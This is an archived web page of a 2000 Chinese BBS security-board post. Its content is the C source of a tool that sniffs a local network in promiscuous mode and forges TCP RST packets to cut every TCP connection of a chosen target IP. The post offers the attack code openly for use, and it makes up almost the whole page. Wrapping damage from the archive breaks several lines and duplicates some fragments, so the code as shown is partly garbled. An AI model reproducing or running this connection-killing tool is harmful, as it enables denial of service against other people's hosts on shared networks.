📄 471.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="322.htm">上一层</a>][<a href="472.htm">下一篇</a>]
<hr><p align="left"><small>发信人: AngelFalls (Happiness Forever), 信区: Security <br>
标 题: 截断局域网里面给定IP的机器的所有TCP连接程序 <br>
发信站: 武汉白云黄鹤站 (Wed Mar 29 18:22:12 2000), 站内信件 <br>
#include <stdio.h> <br>
#include <sys/time.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <sys/ioctl.h> <br>
#include <net/if.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/in.h> <br>
#include <arpa/inet.h> <br>
#include <netinet/if_ether.h> <br>
#include <string.h> <br>
#define __FAVOR_BSD <br>
#include <netinet/tcp.h> <br>
#include <unistd.h> <br>
#include <fcntl.h> <br>
#include <signal.h> <br>
#define HEADER_LEN 32 //20+12 <br>
int sock_pck; <br>
struct ifreq ifr_old; <br>
char *hw_addr(u_char str_hw[6], char *result) <br>
{ <br>
sprintf(result, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", str_hw[0], str_hw[1 <br>
], <br>
str_hw[2], str_hw[3], str_hw[4], str_hw[5]); <br>
return result; <br>
} <br>
u_int16_t in_chksum(u_short *addr, int len) <br>
{ <br>
u_int32_t sum = 0; <br>
u_int16_t *ad = addr, result; <br>
while(len > 1) <br>
{ <br>
sum += *ad++; <br>
len -= 2; <br>
} <br>
if(len == 1) <br>
{ <br>
result = 0; <br>
*((u_char *)&result) = *(u_char *)ad; <br>
sum += result; <br>
} <br>
sum = (sum >> 16) + (sum & 0xffff); <br>
sum += (sum >> 16); <br>
result = ~sum; <br>
return(result); <br>
} <br>
void leave(int signo) <br>
{ <br>
ifr_old.ifr_flags &= ~IFF_PROMISC; <br>
if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr_old) < 0 ) <br>
{ <br>
perror("Restore IFF_PROMISC"); <br>
exit(-1); <br>
} <br>
setuid( getuid() ); <br>
exit(0); <br>
} <br>
int main(int argc, char *argv[]) <br>
{ <br>
struct ifreq ifr; <br>
struct sockaddr_in sa; <br>
struct sockaddr sa_fr; <br>
struct in_addr sa_in, dst_addr, src_addr; <br>
u_char recvbuf[128], sendbuf[128], pseudoHead[HEADER_LEN], *pseudo, <br>
str1 <br>
[32], str2[32], str_src[32], str_dst[32], str_flag[32]; <br>
struct iphdr *i_hdr, *i_hdr2; <br>
struct tcphdr *t_hdr, *t_hdr2; <br>
struct ethhdr *e_hdr; <br>
u_int16_t n; <br>
int len; <br>
if( argc != 2 ) <br>
{ <br>
printf("Usage : %s remoteIP\n", argv[0]); <br>
exit(-1); <br>
} <br>
if( inet_aton(argv[1], &sa.sin_addr) < 0 ) <br>
{ <br>
printf("Usage : %s remoteIP\n", argv[0]); <br>
exit(-1); <br>
} <br>
if ( (sock_pck = socket(PF_INET, SOCK_PACKET, htons(ETH_P_IP))) < 0 <br>
) <br>
{ <br>
perror("Socket Packet"); <br>
exit(-1); <br>
} <br>
strcpy(ifr.ifr_name, "eth0"); <br>
if( ioctl(sock_pck, SIOCGIFFLAGS, &ifr) < 0 ) <br>
{ <br>
perror("Ioctl SIOCGIFFLAGS"); <br>
exit(-1); <br>
} <br>
ifr_old = ifr; <br>
ifr.ifr_flags |= IFF_PROMISC; <br>
if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 ) <br>
{ <br>
perror("Ioctl SIOCSIFFLAGS"); <br>
exit(-1); <br>
} <br>
signal(SIGINT, leave); <br>
signal(SIGTERM, leave); <br>
while( 1 ) <br>
{ <br>
//54 is the size of ethhdr+iphdr+tcphdr <br>
if( (n = recvfrom(sock_pck, recvbuf, 128, 0, &sa_fr, &len)) <br>
< 54 <br>
) <br>
) <br>
continue; <br>
i_hdr = (struct iphdr *)(recvbuf + 14); <br>
if( i_hdr->protocol == IPPROTO_TCP && i_hdr->saddr == sa.sin <br>
_add <br>
r.s_addr)//Get target!!! <br>
{ <br>
sa_in.s_addr = i_hdr->daddr; <br>
printf("%s to %s connection detected!\n", argv[1], i <br>
net_ <br>
ntoa(sa_in)); <br>
t_hdr = (struct tcphdr *)(recvbuf + 34); <br>
if( (t_hdr->th_flags & TH_RST) == 0 ) //If disconnec <br>
ting <br>
, we needn't to disconnect it again <br>
{ <br>
memcpy(sendbuf, &recvbuf[6], 6); //6 is the <br>
size <br>
of ether address <br>
memcpy(&sendbuf[6], recvbuf, 6); <br>
memcpy(&sendbuf[12], &recvbuf[12], 2); //pro <br>
toco <br>
l type, should be IP <br>
// printf("Ethhdr copied!\n"); <br>
i_hdr2 = (struct iphdr *)(sendbuf + 14); <br>
memcpy(i_hdr2, i_hdr, 12); <br>
i_hdr2->tot_len = htons(40); <br>
i_hdr2->check = 0; <br>
memcpy(&(i_hdr2->saddr), &(i_hdr->daddr), 4) <br>
; <br>
memcpy(&(i_hdr2->daddr), &(i_hdr->saddr), 4) <br>
; <br>
i_hdr2->check = in_chksum((u_short *)i_hdr2, <br>
20) <br>
; <br>
// printf("Iphdr copied!\n"); <br>
t_hdr2 = (struct tcphdr *)(sendbuf + 34); <br>
t_hdr2->th_sport = t_hdr->th_dport; <br>
t_hdr2->th_dport = t_hdr->th_sport; <br>
t_hdr2->th_seq = t_hdr->th_ack; <br>
t_hdr2->th_ack = t_hdr->th_seq; <br>
t_hdr2->th_x2 = 0; <br>
t_hdr2->th_off = 5; //Header Len <br>
t_hdr2->th_flags = TH_RST ; <br>
t_hdr2->th_win = htons(32120); <br>
t_hdr2->th_sum = 0; <br>
t_hdr2->th_urp = 0; <br>
// printf("Tcphdr copied!\n"); <br>
pseudo = pseudoHead; <br>
memcpy(pseudo, &i_hdr2->saddr, 8); <br>
*(pseudo+8) = 0; <br>
pseudo += 9; <br>
memcpy(pseudo, &(i_hdr2->protocol), 1); <br>
pseudo++; <br>
n = htons(20); //TCP segment length <br>
memcpy(pseudo, &n, 2); <br>
pseudo += 2; <br>
memcpy(pseudo, t_hdr2, 20); <br>
// printf("Pseudo Head prepared!\n"); <br>
t_hdr2->th_sum = in_chksum((u_short *)pseudo <br>
Head <br>
, HEADER_LEN); <br>
sa_fr.sa_family = 1; <br>
strcpy(sa_fr.sa_data, "eth0"); <br>
/* <br>
e_hdr = (struct ethhdr *)sendbuf; <br>
printf("HW: Sent to %s from %s\n", hw_addr(e <br>
_hdr <br>
->h_dest, str1), hw_addr(e_hdr->h_source, str2)); <br>
printf("Proto Type: %.4x\n", ntohs(e_hdr->h_ <br>
prot <br>
o)); <br>
printf("Ver : %d, HLen : %d, Tos : %d, Tot_L <br>
en : <br>
%d, Id : %d, Ttl : %d\n", <br>
i_hdr2->version, i_hdr2->ihl, i_hdr2 <br>
->to <br>
s, ntohs(i_hdr2->tot_len), ntohs(i_hdr2->id), i_hdr2->ttl); <br>
dst_addr.s_addr = i_hdr2->daddr; <br>
src_addr.s_addr = i_hdr2->saddr; <br>
strcpy( str_src, inet_ntoa(src_addr)); <br>
strcpy( str_dst, inet_ntop(AF_INET, &dst_add <br>
r, s <br>
tr_flag, sizeof(str_flag))); <br>
printf("Src IP : %s, Dst IP : %s\n", str_src <br>
, st <br>
r_dst); <br>
printf("Dst Port : %d, Src Port : %d\n", nto <br>
hs(t <br>
hs(t <br>
_hdr->th_sport), ntohs(t_hdr->th_dport)); <br>
// break; <br>
*/ <br>
if( sendto(sock_pck, sendbuf, 54, 0, &sa_fr, <br>
siz <br>
eof(sa_fr)) < 0 ) <br>
perror("SendTo"); <br>
else <br>
printf("%s to %s connection sent RST <br>
!\n" <br>
, argv[1], inet_ntoa(sa_in)); <br>
printf("\n"); <br>
} <br>
} <br>
} <br>
return 0; <br>
} <br>
-- <br>
Wish your sky be sunny, <br>
Wish your heart be happy, <br>
Wish your body be healthy, <br>
Wish U never be lazy. <br>
:) :> ;) ;> :-) :-> ;-) ;-> <br>
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.106.16.45] <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="322.htm">上一层</a>][<a href="472.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -